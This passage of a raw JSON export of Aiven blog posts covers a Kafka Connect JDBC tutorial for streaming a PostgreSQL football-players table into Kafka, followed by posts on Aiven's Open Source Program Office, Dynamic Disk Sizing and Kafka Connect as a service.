10:35:52.673554 |\nAndrea Pirlo | Italian | f | 2021-03-11 10:35:52.04076 | 2021-03-11 10:39:49.198286\n(3 rows)\n```\n\nOk, we recreated the original setup: our football scouting app is correctly storing data in the `football_players` table. In the old days the extraction of that data was demanded to an ETL flow running overnight and pushing it to the downstream applications. Now, as per our original aim, we want to include Apache Kafka in the game, so... let's do it!\n\n## Creating a Kafka environment\n\nAs stated initially, our goal is to base our data pipeline on Apache Kafka without having to change the existing setup. We don't have a Kafka environment available right now, but we can easily create one using Aiven's CLI from the terminal with the following `avn` command\n\n```bash\navn service create kafka-football \\\n -t kafka \\\n --cloud google-europe-west3 \\\n -p business-4 \\\n -c kafka.auto_create_topics_enable=true \\\n -c kafka_connect=true\n```\n\nThe command creates an Apache Kafka instance (`-t kafka`) in `google-europe-west3` with the `business-4` plan.\nAdditionally it enables the topic auto-creation (`-c kafka.auto_create_topics_enable=true`) so our applications can create topics on the fly without forcing us to create them beforehand.\nFinally, it enables Kafka Connect (`-c kafka_connect=true`) on the same Kafka instance. We can use the `avn wait` command mentioned above to pause until the Kafka cluster is in `RUNNING` state.\n\nNote that on Kafka instances part of the `startup` plans, you'll be forced to create a standalone Kafka Connect instance. For production systems, we recommend using standalone Kafka Connect for the separation of concerns principle.\n\n### Connecting the dots\n\nThe basic building blocks are ready: our source system represented by the `pg-football` PostgreSQL database with the `football_players` table and the `kafka-football` Apache Kafka instances are running. It's now time to connect the two: creating a new event in Kafka every time an insert or modified row appears in PostgreSQL. That can be achieved by creating a Kafka Connect JDBC source connector.\n\n## Create a JSON configuration file\n\nStart by creating a JSON configuration file like the following:\n\n```json\n{\n \"name\": \"pg-timestamp-source\",\n \"connector.class\": \"io.aiven.connect.jdbc.JdbcSourceConnector\",\n \"connection.url\": \"jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?sslmode=require\",\n \"connection.user\": \"\u003cPG_USER\u003e\",\n \"connection.password\": \"\u003cPG_PASSWORD\u003e\",\n \"table.whitelist\": \"football_players\",\n \"mode\": \"timestamp\",\n \"timestamp.column.name\":\"modified_at,created_at\",\n \"poll.interval.ms\": \"2000\",\n \"topic.prefix\": \"pg_source_\"\n}\n```\n\nWhere the important parameters are:\n* `name`: the name of the Kafka Connect connector, in our case `pg-timestamp-source`\n* `connection.url`: the connection URL pointing to the PostgreSQL database, in the form of `jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?\u003cADDITIONAL_PARAMETERS\u003e`, we can create it with the `dbname`, `host`, `port` output of the following `avn` command\n\n```bash\navn service get pg-football --format '{service_uri_params}'\n```\n\n* `connection.user` and `connection.user`: PostgreSQL credentials, the default `avnadmin` credentials are available as `user` and `password` output of the `avn` command above\n* `table.whitelist`: list of tables to source from PostgreSQL, in our case is `football_players`\n* `mode`: Kafka Connect JDBC mode. Three modes are available: `bulk`, `incrementing`, `timestamp`. For this post we'll use the `timestamp` one. For a more detailed description of modes, please refer to the [help article](https://help.aiven.io/en/articles/3416789-jdbc-source-connector-with-postgresql)\n* `timestamp.column.name`: list of timestamp column names: The value for this setting should be `modified_at,created_at` since `modified_at` will contain the most recent update timestamp, and in case of null value, we can rely on the `created_at` column.\n* `poll.interval.ms`: time between database polls\n* `topic.prefix`: prefix for topic, the full topic name will be a concatenation of `topic.prefix` and the PostgreSQL table name.\n\n### Start the JDBC connector\n\nAfter storing the above JSON in a file named `kafka_jdbc_config.json`, we can now start the Kafka Connect JDBC connector in our terminal with the following command:\n\n```bash\navn service connector create kafka-football @kafka_jdbc_config.json\n```\n\nWe can verify the status of the Kafka Connect connector with the following `avn` command:\n\n```\navn service connector status kafka-football pg-timestamp-source\n```\nNote that the last parameter `pg-timestamp-source` in the `avn` command above refers to the Kafka Connect connector name defined in the `name` setting of the `kafka_jdbc_config.json` configuration file. If all settings are correct, the above command will show our healthy connector being in `RUNNING` mode\n\n```\n{\n \"status\": {\n \"state\": \"RUNNING\",\n \"tasks\": [\n {\n \"id\": 0,\n \"state\": \"RUNNING\",\n \"trace\": \"\"\n }\n ]\n }\n}\n```\n\n### Check the data in Kafka with Kafkacat\n\nThe data should now have landed in Apache Kafka. How can we check it?\nWe can use [Kafkacat](https://help.aiven.io/en/articles/2607674-using-kafkacat) a nice command line utility.\n\nOnce Kafkacat is installed (see our [help article](https://help.aiven.io/en/articles/2607674-using-kafkacat) for detailed instructions), we'll need to set up the connection to our Kafka environment.\n\nAiven by default enables SSL certificate based authentication. The certificates are available from the Aiven console for manual download. In Aiven CLI you can avoid the clicking with the following `avn` command in our terminal:\n\n```bash\nmkdir -p kafkacerts\navn service user-creds-download kafka-football \\\n -d kafkacerts \\\n --username avnadmin\n```\n\nThese commands create a `kafkacerts` folder (if not existing already) and download in it the `ca.pem`, `service.cert` and `service.key` SSL certificates required to connect.\n\nThe last missing piece of information that Kafkacat needs is where to find our Kafka instance in terms of `hostname` and `port`. This information can be displayed in our terminal with the following `avn` command\n\n```bash\navn service get kafka-football --format '{service_uri}'\n```\n\nOnce we collected the required info we can create a `kafkacat.config` file with the following entries\n\n```\nbootstrap.servers=\u003cKAFKA_SERVICE_URI\u003e\nsecurity.protocol=ssl\nssl.key.location=kafkacerts/service.key\nssl.certificate.location=kafkacerts/service.cert\nssl.ca.location=kafkacerts/ca.pem\n```\n\nRemember to substitute the `\u003cKAFKA_SERVICE_URI\u003e` with the output of the `avn service get` command mentioned above.\n\nNow we are ready to read the topic from Kafka by pasting the following command in our terminal:\n\n```\nkafkacat -F kafkacat.config -C -t pg_source_football_players\n```\n\nNote that we are using Kafkacat in consumer mode (flag `-C`) reading from the topic `pg_source_football_players` which is the concatenation of the `topic.prefix` setting in Kafka Connect and the name of our `football_players` PostgreSQL table.\n\nAs expected, since the connector is working, Kafkacat will output the three messages present in the Kafka topic matching the three rows in the `football_players` PostgreSQL table\n\n```json\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":false,\"created_at\":1615458952060,\"modified_at\":null}\n{\"name\":\"Megan Rapinoe\",\"nationality\":\"American\",\"is_retired\":true,\"created_at\":1615458952673,\"modified_at\":null}\n{\"name\":\"Andrea Pirlo\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615458952040,\"modified_at\":1615459189198}\n% Reached end of topic pg_source_football_players [0] at offset 3\n```\n## Updating the listings\n\nNow, let's see if our football scouts around the world can fetch some news for us\n\n![Ronaldo retires, enter Gorlami](//cdn.sanity.io/images/sczeoy4w/production/a4af59e353e65887cb622fb25ed5950691022b85-1570x661.png \"Ronaldo retires, enter Gorlami\")\n\nWow, we found a new talent named `Enzo Gorlami` and `Cristiano Rolando` officially retired today from professional football (please be aware this post is not reflecting football reality). Let's push the two news to PostgreSQL:\n\n```sql\ninsert into football_players (name, nationality, is_retired) values ('Enzo Gorlami','Italian', false);\nupdate football_players set is_retired=true where name='Cristiano Ronaldo';\n```\n\nWe can verify that the data is correctly stored in the database:\n```sql\ndefaultdb=\u003e select * from football_players;\n name | nationality | is_retired | created_at | modified_at \n-------------------+-------------+------------+----------------------------+----------------------------\n Megan Rapinoe | American | t | 2021-03-11 10:35:52.673554 |\n Andrea Pirlo | Italian | f | 2021-03-11 10:35:52.04076 | 2021-03-11 10:39:49.198286\n Enzo Gorlami | Italian | f | 2021-03-11 11:09:49.411885 |\n Cristiano Ronaldo | Portuguese | t | 2021-03-11 10:35:52.060104 | 2021-03-11 11:11:36.790781\n(4 rows)\n```\n\nAnd in Kafkacat we receive the following two updates:\n\n```json\n{\"name\":\"Enzo Gorlami\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615460989411,\"modified_at\":null}\n% Reached end of topic pg_source_football_players [0] at offset 4\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":true,\"created_at\":1615458952060,\"modified_at\":1615461096790}\n% Reached end of topic pg_source_football_players [0] at offset 5\n```\n## Further reading\nIf you want to know more about Aiven, Kafka, Kafka Connect or PostgreSQL, check the references below:\n\n* [Kafka Connect JDBC Source PostgreSQL](https://help.aiven.io/en/articles/3416789-jdbc-source-connector-with-postgresql)\n* [Intro to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n* List of [Aiven supported Kafka Connect Connectors](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors)\n* [Kafka Connect Preview](https://aiven.io/blog/kafka-connect-preview)\n* [Aiven Command Line Interface](https://help.aiven.io/en/articles/3074410-aiven-command-line-interface-tips-and-tricks)\n\n## Wrapping up\nThis blog post showed how to easily integrate PostgreSQL and Apache Kafka with a fully managed, config-file-driven Kafka Connect JDBC connector. We used a timestamp-based approach to retrieve the changed rows since the previous poll and push them to a Kafka topic increasing the query load to the source database.\n\nAn alternative method is represented by Change Data Capture solutions like Debezium, which, in case of PostgreSQL, reads changes directly from WAL files avoiding any additional query load on the source database. A guide on how to setup CDC for Aiven PostgreSQL is provided in this [help article](https://help.aiven.io/en/articles/1790791-setting-up-debezium-with-aiven-for-postgresql).\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-25T00:00:00.000Z","seo":{"metaDescription":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","metaImage":{"alt":"","asset":{"_ref":"image-c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844-png","_type":"reference"}},"metaTitle":"Using Kafka Connect JDBC Source: a PostgreSQL® example"},"slug":{"_type":"slug","current":"/blog/using-kafka-connect-jdbc-source-a-postgresql-example"},"subtitle":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","title":"Using Kafka Connect JDBC Source: a PostgreSQL® example"} {"__i18n_lang":"en","_createdAt":"2022-11-21T11:12:32Z","_id":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_rev":"LlMsTfwmVHcho3tE13P1bH","_type":"post","_updatedAt":"2023-06-14T10:12:53Z","authors":[{"_key":"dae3741e74fd","_ref":"76cad709-7a7b-4748-a970-0847330cc2b1","_type":"reference"}],"body":"\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nAdd keywords as recommended by SEO agency\n\n--\u003e\n\nAiven cares deeply about keeping open source open and supporting open source software development. We turn these fine words into actions through our Open Source Program Office.\n\nAt our OSPO we make sure the projects offered as managed services at Aiven are well maintained and being taken care of. However we not only take care of Aiven's OSS projects, we also keep a watchful eye on all open source projects that impact Aiven, actively collaborating with external contributors. At Aiven, we want to contribute back to the Open Source community and that’s why we created the OSPO team – so we have dedicated staff to focus on this cause.\n\nOur OSPO team also promotes open source processes and philosophy at Aiven. From encouraging open source practices to helping with setting up and maintaining new Aiven-owned OSS projects, the OSPO team is at the heart of all that is open source at Aiven.\n\nOur OSPO Team is divided into several chapters, formed by a pair of developers (sometimes 3). Each chapter has a project (or a family of projects in an ecosystem) as their main focus. However, the different chapters collaborate on a regular basis sharing their expertise in different topics.\n\n## What OSS projects do we contribute to?\n\nWe currently contribute daily to the communities of Apache Kafka®, Apache Flink®, PostgreSQL®, Apache Cassandra® and OpenSearch® – all of which are projects that Aiven offers as managed services. We also put a special focus on successful or important OSS projects that are part of the ecosystem of any of these projects.\n\n### The team\n\nAs mentioned, our OSPO team is divided into chapters that focus on each open source project (or ecosystem). Below we introduce you to the communities that Aiven's developers contribute to on a daily basis.\n\n#### Apache Kafka®\n- [Chris Egerton](https://www.linkedin.com/in/chris-egerton-93886148/) – an Apache Kafka® Committer.\n- [Greg Harris](https://www.linkedin.com/in/greg-harris-2b86a1126/) – a long time Apache Kafka® contributor.\n- [Matthew De Detrich](https://www.linkedin.com/in/matthew-de-detrich-ba1124116/) – who has been contributing to the Apache Kafka® community for almost 2 years, including his work on Guardian which we will talk about later. \n\n#### Apache Flink®\n- [Matthias Pohl](https://www.linkedin.com/in/mapohl/) – an Apache Flink® Committer.\n- [Ryan Skraba](https://www.linkedin.com/in/ryanskraba/) – a long time Apache Flink® contributor and the Apache Avro® PMC Chair.\n- [Sergey Nuyanzin](https://www.linkedin.com/in/sergey-nuyanzin-60aa6356/) – a long time Apache Flink® contributor and an Apache Calcite® committer.\n\n#### OpenSearch®\n- [Andriy Redko](https://www.linkedin.com/in/aredko/) – an OpenSearch® Committer and an Apache CXF® committer and PMC member.\n- [Lukáš Vlček](https://www.linkedin.com/in/lukasvlcek/) – a long time contributor to the OpenSearch® project and community, including his work on the Prometheus® exporter plugin for OpenSearch® which we will explain later in this blog. \n\n#### Apache Cassandra®\n- [Claude Warren Jr.](https://www.linkedin.com/in/claudewarren/) – a contributor to the Apache Cassandra® community and an Apache Jena® committer.\n- [Maxim Muzafarov](https://www.linkedin.com/in/mmuzaf/) – an Apache Ignite® committer.\n\n#### PostgreSQL®\n- [Gregory Stark](https://www.linkedin.com/in/greg-stark-4a297/) – a long time contributor to the Postgres® community.\n- [Ronan Dunklau](https://www.linkedin.com/in/ronan-dunklau-59169b139/) – a long time contributor to the Postgres® community, including his work on the PGTracer which we will explain later in this blog. \n\n#### ClickHouse®\n- [Salvatore Mesoraca](https://www.linkedin.com/in/smeso/) – a contributor to the ClickHouse® community\n\n## Aiven owned open source projects\n\nAiven owns several open source projects. We welcome all contributions to all our projects, and you can find them all listed on [Aiven’s open source page](https://aiven.io/open-source). The OSPO team also maintains a few open-source projects of their own:\n\n### Klaw\n\nKlaw, previously Kafkawize, was Aiven’s first acquisition. Klaw is a self-service Apache Kafka® Topic Management/Governance tool/portal. It is a web application which automates the process of creating and browsing Apache Kafka topics, acls, avro schemas, and connectors by introducing roles/authorizations to users of various teams of an organization.\n\nWith several downloads every week, many more companies can happily move away from managing Apache Kafka configs in excel sheets, confluence, wiki pages, git etc.\n\nThe team maintaining Klaw currently consists of [Mirjiam Aullbach](https://www.linkedin.com/in/mirjam-aulbach/), [Muralidhar Basani](https://www.linkedin.com/in/muralibasani/), [Aindriú Lavelle](https://www.linkedin.com/in/aindri%C3%BA-andrew-lavelle-57345637/), [Mathieu Anderson](https://www.linkedin.com/in/mathieuanderson/) and [Samuli Suortti](https://www.linkedin.com/in/samulisuortti/). Murali recently wrote a [blog explaining all things Klaw](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance), give it a read.\n\n### Guardian for Apache Kafka®\n\n[Guardian](https://github.com/aiven/guardian-for-apache-kafka) is a backup and restore tool for Apache Kafka® clusters. It is designed to continuously stream kafka topics into persistent/object storages such as S3, and also provides tools for restoring said backups.\n\nGuardian was developed and is currently maintained by Matthew Benedict de Detrich. If you’d like to contribute to this project, head over to the [issues board](https://github.com/aiven/guardian-for-apache-kafka/issues) and pick something up! And feel free to [contact Matthew](mailto:matthew.dedetrich@aiven.io) for more information.\n\n### PGTracer for PostgreSQL®\n\n[PGTracer](https://github.com/aiven/pgtracer) is a collection of tools to trace queries, execution plans and more in PostgreSQL®, using eBPF.\n\nPGTracer offers a way to instrument PostgreSQL, using the Linux eBPF facility. As it does advanced memory access, it needs the PostgreSQL debug symbols to resolve symbols and offsets in structs.\n\nPGTracer was developed and is maintained by Ronan Dunklau. If you’d like to contribute to the project, head over to the GitHub repository and feel free to [contact Ronan](mailto:ronan.dunklau@aiven.io) for more information.\n\nRonan recently gave a talk about his work on PGTracer at PGConf.Eu and you can find an [interview with Ronan about his talk](https://2022.pgconf.eu/speaker-interviews/ronan-dunklau/) on the conference’s website.\n\n### Prometheus® exporter plugin for OpenSearch®\n\n[The Prometheus® exporter plugin for OpenSearch®](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch) exposes many OpenSearch metrics in Prometheus format.\n\nThe plugin was started as a fork of [Prometheus exporter for Elasticsearch®](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch), utilizing the [OpenSearch plugin template](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch). It uses the [official Prometheus Java Simpleclient](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch).\n\nThe plugin is maintained by Lukáš Vlček. If you’d like to contribute to the project, head over to [the issues board](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch/issues) and pick something up! And feel free to [contact Lukáš](mailto:lukas.vlcek@aiven.io) for more information.\n\n\n## Wrapping up\n\nThis was a brief overview of what’s happening here at Aiven’s Open Source Program Office. We do lots of other stuff, including representing Aiven at conferences, giving talks, helping Aiveners start their own open source projects, and collaborating with the product team. \n\nIf you’d like to get in touch with our Open Source Program Office, we’d love to hear from you! Drop us a line at [ospo@aiven.io](mailto:ospo@aiven.io) \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nLooking for a managed open source data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n\n\n\n","categories":[{"_key":"36191bc1637b","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"b3634f17b833","_ref":"5da1e1bb-fe75-4489-8510-b67f1fdec3c7","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-ffa3163fad4a9fca27f4cff56f58cc137e41266f-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-24T06:29:38.779Z","related":[{"_key":"43420dbfeeb4","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},{"_key":"e0265c392649","_ref":"2MaVUBNixFPYxU03wR2sqc","_type":"reference"},{"_key":"cae2dab60cf1","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The Aiven Open Source Program Office (OSPO) makes sure the open source projects offered as managed services are well maintained and taken care of. ","metaTitle":"Aiven Open Source Program Office"},"slug":{"_type":"slug","current":"/blog/aivens-open-source-program-office"},"subtitle":"Find out about what we do at Aiven’s OSPO, the projects we own and the projects we contribute to on a daily basis.","title":"Aiven's Open Source Program Office"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3GV8UOjSgQ2OqimWnSlLCc","_rev":"EXzA9uxcM5girV4aqeEGKw","_type":"post","_updatedAt":"2024-10-30T11:24:34Z","authors":[],"body":"Aiven customers can freely adjust the disk space allocation for all Aiven service plans as a self-service. What does this mean? It means you can now book additional storage without needing to switch plans.\n\nDynamic Disk Sizing (what we like to call DDS because acronyms are cool) lets you adjust the amount of disk space you use right in the Aiven Console. You can go all the way up to three times the amount defined in your plan.\n\nThis capability is available in AWS, GCP and Azure environments.\n## Dynamic Disk Sizing in Aiven services\nUsually it's easy to pick from Aiven's set of plans with fixed storage allocations. But sometimes, like if your app is very data-heavy, you need more storage without needing to scale up everything else as well. DDS lets you create a more personalized plan based on your actual needs. \n\nYou can add storage in steps of 10 GB until you reach the maximum capacity of 3x your plan's default amount. And what's best, you can immediately see the final price directly in the Aiven Console\u003c!-- or on the [Pricing page](https://aiven.io/pricing \"Pricing | Aiven website\")--\u003e. \n\nThe price of the additional storage also covers the additional backup storage needed to handle the increased disk size.\n## Getting started with DDS in Aiven\nDynamic Disk Sizing can be implemented directly in the Aiven Console. Find the service you want to adjust, and on the __Overview__ tab, click __Add Storage.__\n![Adding storage](//cdn.sanity.io/images/sczeoy4w/production/c79f85598955f82624c8802e6b66ee57ffecbceb-1018x165.png)\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-be287498b89f8ed67e42dd69650f61fe19282c93-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-17T00:00:00.000Z","seo":{"metaDescription":"Book additional storage by yourself in all Aiven services. No need to switch plans!","metaImage":{"alt":"","asset":{"_ref":"image-be287498b89f8ed67e42dd69650f61fe19282c93-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Dynamic Disk Sizing"},"slug":{"_type":"slug","current":"/blog/announcing-dynamic-disk-sizing"},"subtitle":"Book additional storage by yourself in all Aiven services. No need to switch plans!","title":"Announcing Dynamic Disk Sizing"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2MWM89BP2jQ1ElJy8U8gwf","_rev":"V5UdSzFEWrLT7ZlMFOAcfz","_type":"post","_updatedAt":"2023-08-03T10:36:54Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports the ability to run Kafka Connect as a separate service from your primary Kafka cluster. This eliminates resource competition, improves scalability, and saves costs.\n\nKafka Connect is a framework and a runtime for integrating Kafka with other systems. Kafka Connectors can either be __source__ (for pulling data from other systems into Kafka) or __sink connectors__ (for pushing data into other systems from Kafka).\n\nWhy Kafka Connect? Kafka Connect enables you to more easily source your data from any number of popular data sources and send it forward to any number of common data destinations.\n\n![image demonstrating kafka architecture with sources, sinks, and their connectors](https://cdn.sanity.io/images/sczeoy4w/production/67dadb757442b4701a1e7fc85c9b9602ea068899-1280x953.png)\n\nIn fact, the more connectors your service provider has, the more you’ll be able to do with your managed Kafka service. [Here’s the list](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors) of currently supported Aiven Kafka Connect source and sink connectors.\n\n#### Why Kafka Connect as a Service\n\nThe ability to run a [Kafka Connect service](https://aiven.io/kafka-connect) separately from your primary Apache Kafka cluster eliminates resource competition, as Kafka Connect Services and Aiven for Apache Kafka services no longer cannibalize resources from each other. Also, you will be able to scale your Kafka Connect service independently of your Aiven for Kafka service. This provides a couple of benefits:\n\n- You don’t need a more expensive tier to accommodate both Aiven for Apache Kafka and Kafka Connect on a single cluster. Previously, you needed at least Business-level service plan to provide the necessary resources. __Now you can run Aiven Kafka Connect on a Startup plan__.\n\n- You’ll get more consistent and higher performance on the Kafka Service itself.\n\n\u003e Aiven is the only cloud provider that allows Kafka Connect to run independently on a cluster.\n\n#### How to create a Kafka Connect service\n\nYou can easily start a Kafka Connect service from within your existing Aiven for Apache Kafka service. To do this, open your service and go to the _Connectors_ tab.\n\n![image illustrating aiven kafka connect as a service creation prompt](https://cdn.sanity.io/images/sczeoy4w/production/5cc3d54206f568cf09120a6548f28ed36f3167ed-1316x383.png)\n\nClick the _Create New Kafka Connect Integration_ button and follow the prompts. This will allow you to specify an existing or new Kafka Connect service on which to run your Kafka connectors.\n\n#### Wrapping up\n\nWith Kafka Connect as a Service, you have yet another option for configuring your managed Kafka service within your data pipeline; [go here to see pricing](https://aiven.io/kafka-connect). In the meantime, follow our [blog](https://aiven.io/blog/feed.xml) or [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date with Aiven.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405-png","_type":"reference"}},"publishedAt":"2019-09-11T00:00:00.000Z","seo":{"metaDescription":"With Kafka Connect as a Service, you can remove resource competition from your primary clusters, find out how.","metaImage":{"alt":"","asset":{"_ref":"image-9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405-png","_type":"reference"}},"metaTitle":"Aiven now provides Kafka Connect as separate service"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-connect-as-a-service"},"subtitle":"With Kafka Connect as a Service, you can remove resource competition from your primary clusters, find out how.","title":"Aiven now provides Kafka Connect as separate service"} {"__i18n_lang":"en","_createdAt":"2022-11-08T06:13:18Z","_id":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_rev":"v0cQAWzuhXdzXIalMlJYKU","_type":"post","_updatedAt":"2023-06-14T10:14:30Z","authors":[{"_key":"7faa3248bdbb","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"[Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka), an open source event streaming software, is a powerful tool for those needing to collect, process, store, and analyze data. In a world where data rules all, Apache Kafka is vital. Best known for high performance, low latency, fault tolerance, and high throughput, it's capable of handling thousands of messages per second. In fact, more than 80% of all Fortune 100 companies trust and use Apache Kafka.\n\nIn addition to its versatility, Apache Kafka is also open source and has a committed, savvy community behind it. With Aiven’s focus on open source and taking the pain out of managing it, we saw the value of Apache Kafka early on and were the first to offer managed Apache Kafka in the cloud. \n\nAs we continue to build our platform and [our Apache Kafka capabilities](https://aiven.io/kafka), we also recognize the importance of contributing back. Downloading open source software is free, but the work that goes into maintaining it does not just magically happen. Resources are definitely used to ensure success. \n\n## The Open Source Program Office contributes back\n\nAt Aiven, we live the values of open source and that's why we have an [Open Source Program Office](https://aiven.io/open-source), whose focus is to work on open source sustainability. \n\nContributing back to open source is a multi-pronged approach:\n\n- Fostering and boosting open source communities, for example Aiven’s recent acquisition of [Klaw](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance), formerly Kafkawize.\n- Employing developers to work on open source projects\n- Compensating employees for contributing to open source projects even if the work doesn’t directly align with their role at Aiven. \n\nSpecifically, Aiven has a dedicated team working on open source Apache Kafka full time: **Matthew de Detrich**, **Chris Egerton**, and **Greg Harris** are our tireless champions. This unique approach sets us apart from many other companies where contributors are forced to juggle between product and OSS. Aiven also sees the importance of diversifying open source communities as a key point in keeping them thriving and neutral.\n\n## A new Apache Kafka committer\n\nThe Project Management Committee for Apache Kafka has invited Chris Egerton as a committer, and we are excited to announce that he accepted. Chris has been contributing to Apache Kafka since 2017. He has made over 80 commits mostly around [Apache Kafka Connect](https://aiven.io/kafka-connect). \n\nChris’s most notable contributions include [KIP-507: Securing Internal Connect REST Endpoints](https://cwiki.apache.org/confluence/display/KAFKA/KIP-507%3A+Securing+Internal+Connect+REST+Endpoints) and [KIP-618: Exactly-Once Support for Source Connectors](https://cwiki.apache.org/confluence/display/KAFKA/KIP-618%3A+Exactly-Once+Support+for+Source+Connectors).\n\nThe Exactly-Once KIP is an important change to make sure the delivery of messages in Kafka Connect happens exactly once, as opposed to 'at least once'. At least once protocols make the processing of messages complicated as they need to account for repeated messages. Exactly once allows for an easier logic processing data, as the framework guarantees that each message will be delivered only once.\n\nAt Aiven, we are proud of our commitment to open source and see great value in approaching OSS in a community focused way. \n\n\n::banner[Aiven's OSPO works with PGhoard, PGlookout, Karapace, Klaw... Go to our Open Source page to find out more!]{ctaText=\"Check it out\" ctaLink=\"https://aiven.io/open-source\" title=\"Aiven \u003c3 Open Source\" background=\"\"}\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup 